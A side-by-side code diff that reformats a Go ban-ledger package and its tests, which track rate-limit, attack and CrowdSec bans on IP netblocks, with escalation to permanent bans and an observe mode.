midnight().Add(time.Hour),
"for an hour",
)
wantPermanentBan( wantPermanentBan(t, ledger, netblock.Addr(), midnight().Add(2*time.Minute))
t,
ledger,
netblock.Addr(),
midnight().Add(2*time.Minute),
)
} }
// wantPermanentBan checks that Find and Check return a permanent ban for // wantPermanentBan checks that Find and Check return a permanent ban for
@@ -481,12 +382,7 @@ func wantPermanentBan(
} { } {
ban, banned, _ := look(client, now) ban, banned, _ := look(client, now)
if !banned || !ban.Permanent() { if !banned || !ban.Permanent() {
t.Errorf( t.Errorf("%s returned %+v and banned %v, want a permanent ban", name, ban, banned)
"%s returned %+v and banned %v, want a permanent ban",
name,
ban,
banned,
)
} }
} }
} }
+19 -91
View File
@@ -209,10 +209,7 @@ func New(params Params) *Ledger {
// The ledger drops bans itself, and never those whose cause is // The ledger drops bans itself, and never those whose cause is
// CauseAdmin, however many there are, so the LRU has no limit of its // CauseAdmin, however many there are, so the LRU has no limit of its
// own: it keeps the netblocks in the order they were last seen. // own: it keeps the netblocks in the order they were last seen.
netblocks, err := simplelru.NewLRU[netip.Prefix, *[]Ban]( netblocks, err := simplelru.NewLRU[netip.Prefix, *[]Ban](math.MaxInt, nil)
math.MaxInt,
nil,
)
if err != nil { if err != nil {
panic(err) // NewLRU fails only for a size below one panic(err) // NewLRU fails only for a size below one
} }
@@ -315,15 +312,7 @@ func activeBan(bans []Ban, now time.Time) *Ban {
func (l *Ledger) BanForLimit( func (l *Ledger) BanForLimit(
netblock netip.Prefix, now time.Time, notes Notes, netblock netip.Prefix, now time.Time, notes Notes,
) (Ban, bool) { ) (Ban, bool) {
return l.ban( return l.ban(netblock, now, time.Time{}, CauseLimit, limitReason(notes), notes, true)
netblock,
now,
time.Time{},
CauseLimit,
limitReason(notes),
notes,
true,
)
} }
// WouldBanForLimit returns what BanForLimit would, without making the ban: // WouldBanForLimit returns what BanForLimit would, without making the ban:
@@ -331,15 +320,7 @@ func (l *Ledger) BanForLimit(
func (l *Ledger) WouldBanForLimit( func (l *Ledger) WouldBanForLimit(
netblock netip.Prefix, now time.Time, notes Notes, netblock netip.Prefix, now time.Time, notes Notes,
) (Ban, bool) { ) (Ban, bool) {
return l.ban( return l.ban(netblock, now, time.Time{}, CauseLimit, limitReason(notes), notes, false)
netblock,
now,
time.Time{},
CauseLimit,
limitReason(notes),
notes,
false,
)
} }
// BanForAttack bans netblock at now for a clear sign of attack, with // BanForAttack bans netblock at now for a clear sign of attack, with
@@ -350,15 +331,7 @@ func (l *Ledger) WouldBanForLimit(
func (l *Ledger) BanForAttack( func (l *Ledger) BanForAttack(
netblock netip.Prefix, now time.Time, notes Notes, netblock netip.Prefix, now time.Time, notes Notes,
) (Ban, bool) { ) (Ban, bool) {
return l.ban( return l.ban(netblock, now, time.Time{}, CauseAttack, attackReason(notes), notes, true)
netblock,
now,
time.Time{},
CauseAttack,
attackReason(notes),
notes,
true,
)
} }
// WouldBanForAttack returns what BanForAttack would, without making the // WouldBanForAttack returns what BanForAttack would, without making the
@@ -366,15 +339,8 @@ func (l *Ledger) BanForAttack(
func (l *Ledger) WouldBanForAttack( func (l *Ledger) WouldBanForAttack(
netblock netip.Prefix, now time.Time, notes Notes, netblock netip.Prefix, now time.Time, notes Notes,
) (Ban, bool) { ) (Ban, bool) {
return l.ban( return l.ban(netblock, now, time.Time{}, CauseAttack, attackReason(notes), notes,
netblock, false)
now,
time.Time{},
CauseAttack,
attackReason(notes),
notes,
false,
)
} }
// BanForCrowdSec bans netblock at now until expires, when CrowdSec's // BanForCrowdSec bans netblock at now until expires, when CrowdSec's
@@ -382,39 +348,19 @@ func (l *Ledger) WouldBanForAttack(
// whether it made it, as BanForLimit does. Its reason is "CrowdSec's // whether it made it, as BanForLimit does. Its reason is "CrowdSec's
// decision for <scenario>", the scenario that made the decision. // decision for <scenario>", the scenario that made the decision.
func (l *Ledger) BanForCrowdSec( func (l *Ledger) BanForCrowdSec(
netblock netip.Prefix, netblock netip.Prefix, now, expires time.Time, scenario string, notes Notes,
now, expires time.Time,
scenario string,
notes Notes,
) (Ban, bool) { ) (Ban, bool) {
return l.ban( return l.ban(netblock, now, expires, CauseCrowdSec, crowdSecReason(scenario), notes,
netblock, true)
now,
expires,
CauseCrowdSec,
crowdSecReason(scenario),
notes,
true,
)
} }
// WouldBanForCrowdSec returns what BanForCrowdSec would, without making // WouldBanForCrowdSec returns what BanForCrowdSec would, without making
// the ban: what observe mode would have done. // the ban: what observe mode would have done.
func (l *Ledger) WouldBanForCrowdSec( func (l *Ledger) WouldBanForCrowdSec(
netblock netip.Prefix, netblock netip.Prefix, now, expires time.Time, scenario string, notes Notes,
now, expires time.Time,
scenario string,
notes Notes,
) (Ban, bool) { ) (Ban, bool) {
return l.ban( return l.ban(netblock, now, expires, CauseCrowdSec, crowdSecReason(scenario), notes,
netblock, false)
now,
expires,
CauseCrowdSec,
crowdSecReason(scenario),
notes,
false,
)
} }
// WouldBePermanent reports whether a ban on netblock for cause, CauseLimit, // WouldBePermanent reports whether a ban on netblock for cause, CauseLimit,
@@ -559,10 +505,7 @@ func (l *Ledger) Bans(netblock netip.Prefix) []Ban {
// about it. It is not a request from netblock, and leaves when it was last // about it. It is not a request from netblock, and leaves when it was last
// seen unchanged. It does not have bans.json written at once: the notes // seen unchanged. It does not have bans.json written at once: the notes
// are written with its next write, as the counts in them are. // are written with its next write, as the counts in them are.
func (l *Ledger) AddLookup( func (l *Ledger) AddLookup(netblock netip.Prefix, asn, asName, country string) {
netblock netip.Prefix,
asn, asName, country string,
) {
l.mu.Lock() l.mu.Lock()
defer l.mu.Unlock() defer l.mu.Unlock()
@@ -711,10 +654,7 @@ func (l *Ledger) holds(netblock netip.Prefix, start time.Time) bool {
// keep is true, the ban is not made, only returned: it is the ban that // keep is true, the ban is not made, only returned: it is the ban that
// would have been made. // would have been made.
func (l *Ledger) ban( func (l *Ledger) ban(
netblock netip.Prefix, netblock netip.Prefix, now, expires time.Time, cause, reason string, notes Notes,
now, expires time.Time,
cause, reason string,
notes Notes,
keep bool, keep bool,
) (Ban, bool) { ) (Ban, bool) {
l.mu.Lock() l.mu.Lock()
@@ -735,13 +675,7 @@ func (l *Ledger) ban(
} }
notes.Request = notes.Request.cut() notes.Request = notes.Request.cut()
ban := Ban{ ban := Ban{Netblock: netblock, Start: now, Cause: cause, Reason: reason, Notes: notes}
Netblock: netblock,
Start: now,
Cause: cause,
Reason: reason,
Notes: notes,
}
switch cause { switch cause {
case CauseAttack: case CauseAttack:
@@ -831,9 +765,7 @@ func (l *Ledger) active(client netip.Addr, now time.Time) *Ban {
var first *Ban var first *Ban
for _, length := range lengths { for _, length := range lengths {
bans, found := l.netblocks.Get( bans, found := l.netblocks.Get(netip.PrefixFrom(client, length).Masked())
netip.PrefixFrom(client, length).Masked(),
)
if !found { if !found {
continue continue
} }
@@ -866,9 +798,7 @@ func (l *Ledger) covering(client netip.Addr) []*[]Ban {
var found []*[]Ban var found []*[]Ban
for _, length := range lengths { for _, length := range lengths {
bans, ok := l.netblocks.Peek( bans, ok := l.netblocks.Peek(netip.PrefixFrom(client, length).Masked())
netip.PrefixFrom(client, length).Masked(),
)
if ok { if ok {
found = append(found, bans) found = append(found, bans)
} }
@@ -922,15 +852,13 @@ func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time {
var last *Ban var last *Ban
for i, ban := range held { for i, ban := range held {
if (ban.Cause == CauseLimit || ban.Cause == CauseAdmin) && if (ban.Cause == CauseLimit || ban.Cause == CauseAdmin) && ban.Lifted.IsZero() &&
ban.Lifted.IsZero() &&
(last == nil || ban.Expires.After(last.Expires)) { (last == nil || ban.Expires.After(last.Expires)) {
last = &held[i] last = &held[i]
} }
} }
if last != nil && if last != nil && now.Sub(last.Expires) <= l.params.LimitBanRepeatWindow {
now.Sub(last.Expires) <= l.params.LimitBanRepeatWindow {
lastLength := last.Expires.Sub(last.Start) lastLength := last.Expires.Sub(last.Start)
// This is repeatFactor * lastLength > MaxBanDuration, written so // This is repeatFactor * lastLength > MaxBanDuration, written so
// that it cannot overflow. // that it cannot overflow.
+59 -212
View File
@@ -27,14 +27,8 @@ func TestRepeatsTripleUntilPermanent(t *testing.T) {
length := time.Duration(hours) * time.Hour length := time.Duration(hours) * time.Hour
if !ban.Expires.Equal(now.Add(length)) || if !ban.Expires.Equal(now.Add(length)) ||
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: i}) { ban.Notes.EarlierBans != (bans.EarlierBans{Limit: i}) {
t.Fatalf( t.Fatalf("ban %d lasts %s with earlier bans %+v, want %d hours and %d for a limit",
"ban %d lasts %s with earlier bans %+v, want %d hours and %d for a limit", i+1, ban.Expires.Sub(now), ban.Notes.EarlierBans, hours, i)
i+1,
ban.Expires.Sub(now),
ban.Notes.EarlierBans,
hours,
i,
)
} }
now = ban.Expires now = ban.Expires
@@ -71,27 +65,13 @@ func TestRepeatWindowRunsOut(t *testing.T) {
ledger := bans.New(defaultParams()) ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
first, _ := ledger.BanForLimit( first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
netblock, second, _ := ledger.BanForLimit(netblock, first.Expires.Add(tc.gap), bans.Notes{})
midnight(),
bans.Notes{},
)
second, _ := ledger.BanForLimit(
netblock,
first.Expires.Add(tc.gap),
bans.Notes{},
)
if second.Expires.Sub(second.Start) != tc.want || if second.Expires.Sub(second.Start) != tc.want ||
second.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) { second.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
t.Errorf( t.Errorf("second ban lasts %s with earlier bans %+v, want %s and 1 for a limit",
"second ban lasts %s with earlier bans %+v, want %s and 1 for a limit", second.Expires.Sub(second.Start), second.Notes.EarlierBans, tc.want)
second.Expires.Sub(
second.Start,
),
second.Notes.EarlierBans,
tc.want,
)
} }
}) })
} }
@@ -104,11 +84,8 @@ func TestFirstBanLongerThanTheMaximumIsPermanent(t *testing.T) {
params.LimitBanDuration = params.MaxBanDuration + time.Hour params.LimitBanDuration = params.MaxBanDuration + time.Hour
ledger := bans.New(params) ledger := bans.New(params)
ban, _ := ledger.BanForLimit( ban, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(),
netip.MustParsePrefix("203.0.113.9/32"), bans.Notes{})
midnight(),
bans.Notes{},
)
if !ban.Permanent() { if !ban.Permanent() {
t.Errorf("first ban ends at %s, want a permanent one", ban.Expires) t.Errorf("first ban ends at %s, want a permanent one", ban.Expires)
} }
@@ -129,12 +106,7 @@ func TestLongestBanSetFarOffDoesNotOverflow(t *testing.T) {
for i := range 14 { for i := range 14 {
ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{}) ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
if !ban.Expires.After(ban.Start) { if !ban.Expires.After(ban.Start) {
t.Fatalf( t.Fatalf("ban %d starts at %s and ends at %s", i+1, ban.Start, ban.Expires)
"ban %d starts at %s and ends at %s",
i+1,
ban.Start,
ban.Expires,
)
} }
now = ban.Expires now = ban.Expires
@@ -157,36 +129,17 @@ func TestBrokenLimitDuringABanMakesNoOther(t *testing.T) {
t.Error("the first ban was not made") t.Error("the first ban was not made")
} }
again, made := ledger.BanForLimit( again, made := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{})
netblock,
midnight().Add(time.Minute),
bans.Notes{},
)
if made || !reflect.DeepEqual(again, first) || if made || !reflect.DeepEqual(again, first) || len(ledger.Bans(netblock)) != 1 {
len(ledger.Bans(netblock)) != 1 { t.Errorf("a limit broken during a ban gave %+v, made %t, and %d bans, "+
t.Errorf( "want %+v, not made, and 1", again, made, len(ledger.Bans(netblock)), first)
"a limit broken during a ban gave %+v, made %t, and %d bans, "+
"want %+v, not made, and 1",
again,
made,
len(ledger.Bans(netblock)),
first,
)
} }
again, made = ledger.BanForAttack( again, made = ledger.BanForAttack(netblock, midnight().Add(time.Minute), bans.Notes{})
netblock,
midnight().Add(time.Minute),
bans.Notes{},
)
if made || !reflect.DeepEqual(again, first) { if made || !reflect.DeepEqual(again, first) {
t.Errorf( t.Errorf("an attack during a ban gave %+v, made %t, want %+v, not made",
"an attack during a ban gave %+v, made %t, want %+v, not made", again, made, first)
again,
made,
first,
)
} }
} }
@@ -195,26 +148,16 @@ func TestCheckRefusesWhileTheBanLastsAndCountsTheRefusals(t *testing.T) {
ledger := bans.New(defaultParams()) ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
ban, _ := ledger.BanForLimit( ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5})
netblock,
midnight(),
bans.Notes{Requests: 5},
)
for range 3 { for range 3 {
got, banned, _ := ledger.Check( got, banned, _ := ledger.Check(netblock.Addr(), ban.Expires.Add(-time.Nanosecond))
netblock.Addr(),
ban.Expires.Add(-time.Nanosecond),
)
if !banned || got.Start != ban.Start { if !banned || got.Start != ban.Start {
t.Fatalf("check during the ban gives %+v and %t", got, banned) t.Fatalf("check during the ban gives %+v and %t", got, banned)
} }
} }
_, banned, _ := ledger.Check( _, banned, _ := ledger.Check(netip.MustParseAddr("203.0.113.10"), midnight())
netip.MustParseAddr("203.0.113.10"),
midnight(),
)
if banned { if banned {
t.Error("another netblock is banned") t.Error("another netblock is banned")
} }
@@ -237,23 +180,11 @@ func TestFindCountsNothing(t *testing.T) {
ledger := bans.New(defaultParams()) ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
ban, _ := ledger.BanForLimit( ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5})
netblock,
midnight(),
bans.Notes{Requests: 5},
)
got, banned, _ := ledger.Find( got, banned, _ := ledger.Find(netblock.Addr(), ban.Expires.Add(-time.Nanosecond))
netblock.Addr(),
ban.Expires.Add(-time.Nanosecond),
)
if !banned || !reflect.DeepEqual(got, ban) { if !banned || !reflect.DeepEqual(got, ban) {
t.Errorf( t.Errorf("find during the ban gives %+v and %t, want %+v", got, banned, ban)
"find during the ban gives %+v and %t, want %+v",
got,
banned,
ban,
)
} }
_, banned, _ = ledger.Find(netblock.Addr(), ban.Expires) _, banned, _ = ledger.Find(netblock.Addr(), ban.Expires)
@@ -261,21 +192,12 @@ func TestFindCountsNothing(t *testing.T) {
t.Error("the ban did not end") t.Error("the ban did not end")
} }
if notes := ledger.Bans(netblock)[0].Notes; !reflect.DeepEqual( if notes := ledger.Bans(netblock)[0].Notes; !reflect.DeepEqual(notes, ban.Notes) {
notes, t.Errorf("the notes are %+v, want them unchanged, %+v", notes, ban.Notes)
ban.Notes,
) {
t.Errorf(
"the notes are %+v, want them unchanged, %+v",
notes,
ban.Notes,
)
} }
} }
func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo( func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
params := defaultParams() params := defaultParams()
@@ -308,10 +230,7 @@ func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(
wantBans(t, ledger, map[netip.Prefix]int{a: 1, b: 1, d: 1}) wantBans(t, ledger, map[netip.Prefix]int{a: 1, b: 1, d: 1})
if !ledger.Bans(a)[0].Start.Equal(first.Expires) { if !ledger.Bans(a)[0].Start.Equal(first.Expires) {
t.Errorf( t.Errorf("a kept its ban of %s, want the later one", ledger.Bans(a)[0].Start)
"a kept its ban of %s, want the later one",
ledger.Bans(a)[0].Start,
)
} }
} }
@@ -344,70 +263,41 @@ func TestRequestDuringAnAttackBanMakesItPermanent(t *testing.T) {
notes := bans.Notes{RuleID: "env-file", Target: "path"} notes := bans.Notes{RuleID: "env-file", Target: "path"}
ban, _ := ledger.BanForAttack(netblock, midnight(), notes) ban, _ := ledger.BanForAttack(netblock, midnight(), notes)
if !ban.Expires.Equal(midnight().Add(7*day)) || if !ban.Expires.Equal(midnight().Add(7*day)) || ban.Cause != bans.CauseAttack ||
ban.Cause != bans.CauseAttack || ban.Notes.RuleID != "env-file" || ledger.Made(bans.CauseAttack) != 1 ||
ban.Notes.RuleID != "env-file" ||
ledger.Made(bans.CauseAttack) != 1 ||
ledger.Made(bans.CauseLimit) != 0 { ledger.Made(bans.CauseLimit) != 0 {
t.Fatalf( t.Fatalf("the ban is %+v, with %d made for an attack and %d for a limit, "+
"the ban is %+v, with %d made for an attack and %d for a limit, "+ "want one for an attack, of seven days", ban,
"want one for an attack, of seven days", ledger.Made(bans.CauseAttack), ledger.Made(bans.CauseLimit))
ban,
ledger.Made(bans.CauseAttack),
ledger.Made(bans.CauseLimit),
)
} }
wantChanged(t, ledger, true) wantChanged(t, ledger, true)
// In observe mode the ban refuses nothing, and stays as it is, while // In observe mode the ban refuses nothing, and stays as it is, while
// Find tells that the request would have made it permanent. // Find tells that the request would have made it permanent.
got, _, wouldMakePermanent := ledger.Find( got, _, wouldMakePermanent := ledger.Find(netblock.Addr(), midnight().Add(time.Hour))
netblock.Addr(), if got.Permanent() || ledger.Bans(netblock)[0].Permanent() || !wouldMakePermanent {
midnight().Add(time.Hour), t.Fatalf("a request found under the ban left it %+v, would have made it "+
) "permanent %t, want it as it was, and true", got, wouldMakePermanent)
if got.Permanent() || ledger.Bans(netblock)[0].Permanent() ||
!wouldMakePermanent {
t.Fatalf(
"a request found under the ban left it %+v, would have made it "+
"permanent %t, want it as it was, and true",
got,
wouldMakePermanent,
)
} }
wantChanged(t, ledger, false) wantChanged(t, ledger, false)
// A request it refuses makes it permanent, says so, and makes // A request it refuses makes it permanent, says so, and makes
// bans.json due. // bans.json due.
got, _, madePermanent := ledger.Check( got, _, madePermanent := ledger.Check(netblock.Addr(), midnight().Add(time.Hour))
netblock.Addr(), if !madePermanent || !got.Permanent() || !ledger.Bans(netblock)[0].Permanent() {
midnight().Add(time.Hour), t.Fatalf("after a request during the ban, it is %+v, made permanent %t, "+
) "want it made permanent", got, madePermanent)
if !madePermanent || !got.Permanent() ||
!ledger.Bans(netblock)[0].Permanent() {
t.Fatalf(
"after a request during the ban, it is %+v, made permanent %t, "+
"want it made permanent",
got,
madePermanent,
)
} }
wantChanged(t, ledger, true) wantChanged(t, ledger, true)
// The next request finds it permanent already. // The next request finds it permanent already.
_, banned, madePermanent := ledger.Check( _, banned, madePermanent := ledger.Check(netblock.Addr(), midnight().Add(100*365*day))
netblock.Addr(),
midnight().Add(100*365*day),
)
if !banned || madePermanent { if !banned || madePermanent {
t.Errorf( t.Errorf("a later request is banned %t, and made the ban permanent %t, "+
"a later request is banned %t, and made the ban permanent %t, "+ "want banned by the permanent ban", banned, madePermanent)
"want banned by the permanent ban",
banned,
madePermanent,
)
} }
} }
@@ -435,11 +325,7 @@ func TestAttackAfterAnAttackBanHasEndedBansPermanently(t *testing.T) {
// Its notes show the earlier ban for an attack that makes it permanent, // Its notes show the earlier ban for an attack that makes it permanent,
// beside the one for a limit. // beside the one for a limit.
third, _ := ledger.BanForAttack( third, _ := ledger.BanForAttack(netblock, second.Expires.Add(30*day), bans.Notes{})
netblock,
second.Expires.Add(30*day),
bans.Notes{},
)
if !third.Permanent() || if !third.Permanent() ||
third.Notes.EarlierBans != (bans.EarlierBans{Limit: 1, Attack: 1}) { third.Notes.EarlierBans != (bans.EarlierBans{Limit: 1, Attack: 1}) {
t.Errorf("the next ban for an attack is %+v, want a permanent one, "+ t.Errorf("the next ban for an attack is %+v, want a permanent one, "+
@@ -456,18 +342,10 @@ func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) {
wantChanged(t, ledger, true) wantChanged(t, ledger, true)
// While the first ban lasts, none would be made. // While the first ban lasts, none would be made.
during, would := ledger.WouldBanForAttack( during, would := ledger.WouldBanForAttack(netblock, midnight(), bans.Notes{})
netblock,
midnight(),
bans.Notes{},
)
if would || !reflect.DeepEqual(during, first) { if would || !reflect.DeepEqual(during, first) {
t.Errorf( t.Errorf("during the first ban, would ban %t with %+v, want false with %+v",
"during the first ban, would ban %t with %+v, want false with %+v", would, during, first)
would,
during,
first,
)
} }
// As it ends, a clear sign of attack would ban for seven days, and a // As it ends, a clear sign of attack would ban for seven days, and a
@@ -475,31 +353,19 @@ func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) {
limitNotes := bans.Notes{Kind: "requests", Limit: 1, Window: "minute"} limitNotes := bans.Notes{Kind: "requests", Limit: 1, Window: "minute"}
attack, wouldAttack := ledger.WouldBanForAttack(netblock, first.Expires, attack, wouldAttack := ledger.WouldBanForAttack(netblock, first.Expires,
bans.Notes{RuleID: "git-dir"}) bans.Notes{RuleID: "git-dir"})
limit, wouldLimit := ledger.WouldBanForLimit( limit, wouldLimit := ledger.WouldBanForLimit(netblock, first.Expires, limitNotes)
netblock,
first.Expires,
limitNotes,
)
if !wouldAttack || !attack.Expires.Equal(first.Expires.Add(7*day)) || if !wouldAttack || !attack.Expires.Equal(first.Expires.Add(7*day)) ||
attack.Reason != "matched the rule git-dir" || !wouldLimit || attack.Reason != "matched the rule git-dir" || !wouldLimit ||
!limit.Expires.Equal(first.Expires.Add(3*time.Hour)) || !limit.Expires.Equal(first.Expires.Add(3*time.Hour)) ||
limit.Reason != "requests per minute over the limit of 1" { limit.Reason != "requests per minute over the limit of 1" {
t.Errorf( t.Errorf("would ban with %+v and %+v, want seven days for the attack and "+
"would ban with %+v and %+v, want seven days for the attack and "+ "three hours for the limit", attack, limit)
"three hours for the limit",
attack,
limit,
)
} }
if len(ledger.Bans(netblock)) != 1 || if len(ledger.Bans(netblock)) != 1 || ledger.Made(bans.CauseLimit) != 1 ||
ledger.Made(bans.CauseLimit) != 1 ||
ledger.Made(bans.CauseAttack) != 0 { ledger.Made(bans.CauseAttack) != 0 {
t.Errorf( t.Errorf("the ledger holds %+v, want the first ban alone", ledger.Bans(netblock))
"the ledger holds %+v, want the first ban alone",
ledger.Bans(netblock),
)
} }
wantChanged(t, ledger, false) wantChanged(t, ledger, false)
@@ -556,8 +422,7 @@ func TestAttackBanDoesNotLengthenTheNextBanForALimit(t *testing.T) {
attack, _ := ledger.BanForAttack(netblock, midnight(), bans.Notes{}) attack, _ := ledger.BanForAttack(netblock, midnight(), bans.Notes{})
limit, _ := ledger.BanForLimit(netblock, attack.Expires, bans.Notes{}) limit, _ := ledger.BanForLimit(netblock, attack.Expires, bans.Notes{})
if limit.Expires.Sub(limit.Start) != time.Hour || if limit.Expires.Sub(limit.Start) != time.Hour || limit.Cause != bans.CauseLimit {
limit.Cause != bans.CauseLimit {
t.Errorf("the ban for a limit is %+v, want one of an hour", limit) t.Errorf("the ban for a limit is %+v, want one of an hour", limit)
} }
@@ -578,23 +443,15 @@ func TestRequestTextsAreCutTo256Bytes(t *testing.T) {
Time: midnight(), Method: long, Host: long, Path: long, Status: 403, UserAgent: long, Time: midnight(), Method: long, Host: long, Path: long, Status: 403, UserAgent: long,
} }
ban, _ := ledger.BanForLimit( ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Request: request})
netblock,
midnight(),
bans.Notes{Request: request},
)
cut := long[:256] cut := long[:256]
want := bans.Request{ want := bans.Request{
Time: midnight(), Method: cut, Host: cut, Path: cut, Status: 403, UserAgent: cut, Time: midnight(), Method: cut, Host: cut, Path: cut, Status: 403, UserAgent: cut,
} }
if ban.Notes.Request != want || if ban.Notes.Request != want || ledger.Bans(netblock)[0].Notes.Request != want {
ledger.Bans(netblock)[0].Notes.Request != want { t.Errorf("the notes keep %+v, want each text cut to 256 bytes", ban.Notes.Request)
t.Errorf(
"the notes keep %+v, want each text cut to 256 bytes",
ban.Notes.Request,
)
} }
} }
@@ -625,23 +482,13 @@ func TestLookupFillsTheNotesOfTheNetblocksBansWithoutOne(t *testing.T) {
{ASN: "AS64496", ASName: "Example Net", Country: "DE"}, {ASN: "AS64496", ASName: "Example Net", Country: "DE"},
} { } {
got := held[i].Notes got := held[i].Notes
if got.ASN != want.ASN || got.ASName != want.ASName || if got.ASN != want.ASN || got.ASName != want.ASName || got.Country != want.Country {
got.Country != want.Country { t.Errorf("ban %d's notes give %q, %q and %q, want %q, %q and %q", i+1,
t.Errorf( got.ASN, got.ASName, got.Country, want.ASN, want.ASName, want.Country)
"ban %d's notes give %q, %q and %q, want %q, %q and %q",
i+1,
got.ASN,
got.ASName,
got.Country,
want.ASN,
want.ASName,
want.Country,
)
} }
} }
if notes := ledger.Bans(other)[0].Notes; notes.ASN != "" || if notes := ledger.Bans(other)[0].Notes; notes.ASN != "" || notes.Country != "" {
notes.Country != "" {
t.Errorf("the ban on %s has %q and %q, want neither", t.Errorf("the ban on %s has %q and %q, want neither",
other, notes.ASN, notes.Country) other, notes.ASN, notes.Country)
} }
+20 -66
View File
@@ -20,55 +20,29 @@ func TestCrowdSecBanLastsUntilTheDecisionEnds(t *testing.T) {
expires := midnight().Add(4 * time.Hour) expires := midnight().Add(4 * time.Hour)
// The ban that would be made is not made. // The ban that would be made is not made.
would, wouldBan := ledger.WouldBanForCrowdSec( would, wouldBan := ledger.WouldBanForCrowdSec(netblock, midnight(), expires,
netblock, scenario, bans.Notes{})
midnight(),
expires,
scenario,
bans.Notes{},
)
if !wouldBan || len(ledger.Bans(netblock)) != 0 { if !wouldBan || len(ledger.Bans(netblock)) != 0 {
t.Errorf( t.Errorf("would ban %t, and the ledger holds %+v, want true and nothing",
"would ban %t, and the ledger holds %+v, want true and nothing", wouldBan, ledger.Bans(netblock))
wouldBan,
ledger.Bans(netblock),
)
} }
const reason = "CrowdSec's decision for " + scenario const reason = "CrowdSec's decision for " + scenario
ban, made := ledger.BanForCrowdSec( ban, made := ledger.BanForCrowdSec(netblock, midnight(), expires, scenario,
netblock, bans.Notes{})
midnight(), if !made || !reflect.DeepEqual(ban, would) || ban.Cause != bans.CauseCrowdSec ||
expires, !ban.Expires.Equal(expires) || ban.Reason != reason ||
scenario,
bans.Notes{},
)
if !made || !reflect.DeepEqual(ban, would) ||
ban.Cause != bans.CauseCrowdSec ||
!ban.Expires.Equal(expires) ||
ban.Reason != reason ||
ledger.Made(bans.CauseCrowdSec) != 1 { ledger.Made(bans.CauseCrowdSec) != 1 {
t.Errorf( t.Errorf("made %t the ban %+v, want the one that would be made, %+v, for "+
"made %t the ban %+v, want the one that would be made, %+v, for "+ "crowdsec until %s", made, ban, would, expires)
"crowdsec until %s",
made,
ban,
would,
expires,
)
} }
// A second decision on the netblock while the ban lasts makes no other. // A second decision on the netblock while the ban lasts makes no other.
again, made := ledger.BanForCrowdSec(netblock, midnight().Add(time.Hour), again, made := ledger.BanForCrowdSec(netblock, midnight().Add(time.Hour),
expires.Add(time.Hour), scenario, bans.Notes{}) expires.Add(time.Hour), scenario, bans.Notes{})
if made || !again.Expires.Equal(expires) || if made || !again.Expires.Equal(expires) || ledger.Made(bans.CauseCrowdSec) != 1 {
ledger.Made(bans.CauseCrowdSec) != 1 { t.Errorf("made %t the ban %+v while the first lasts, want none", made, again)
t.Errorf(
"made %t the ban %+v while the first lasts, want none",
made,
again,
)
} }
} }
@@ -78,13 +52,7 @@ func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
ledger := bans.New(defaultParams()) ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
expires := midnight().Add(4 * time.Hour) expires := midnight().Add(4 * time.Hour)
ledger.BanForCrowdSec( ledger.BanForCrowdSec(netblock, midnight(), expires, scenario, bans.Notes{})
netblock,
midnight(),
expires,
scenario,
bans.Notes{},
)
// A request as the ban ends is refused, and leaves it as it is. // A request as the ban ends is refused, and leaves it as it is.
last := expires.Add(-time.Nanosecond) last := expires.Add(-time.Nanosecond)
@@ -92,13 +60,8 @@ func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
held, banned, madePermanent := ledger.Check(netblock.Addr(), last) held, banned, madePermanent := ledger.Check(netblock.Addr(), last)
if !banned || madePermanent || !held.Expires.Equal(expires) || if !banned || madePermanent || !held.Expires.Equal(expires) ||
ledger.WouldBePermanent(netblock, last, bans.CauseCrowdSec) { ledger.WouldBePermanent(netblock, last, bans.CauseCrowdSec) {
t.Errorf( t.Errorf("as the ban ends, banned %t with %+v, made permanent %t, want "+
"as the ban ends, banned %t with %+v, made permanent %t, want "+ "refused under the ban as it was", banned, held, madePermanent)
"refused under the ban as it was",
banned,
held,
madePermanent,
)
} }
if _, banned, _ := ledger.Check(netblock.Addr(), expires); banned { if _, banned, _ := ledger.Check(netblock.Addr(), expires); banned {
@@ -106,9 +69,7 @@ func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
} }
} }
func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit( func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
ledger := bans.New(defaultParams()) ledger := bans.New(defaultParams())
@@ -117,20 +78,13 @@ func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(
// Three times the three days would be permanent; a limit broken as the // Three times the three days would be permanent; a limit broken as the
// ban for CrowdSec's decision ends bans for an hour, as a first broken // ban for CrowdSec's decision ends bans for an hour, as a first broken
// limit does. // limit does.
crowdSec, _ := ledger.BanForCrowdSec( crowdSec, _ := ledger.BanForCrowdSec(netblock, midnight(), midnight().Add(3*day),
netblock, scenario, bans.Notes{})
midnight(),
midnight().Add(3*day),
scenario,
bans.Notes{},
)
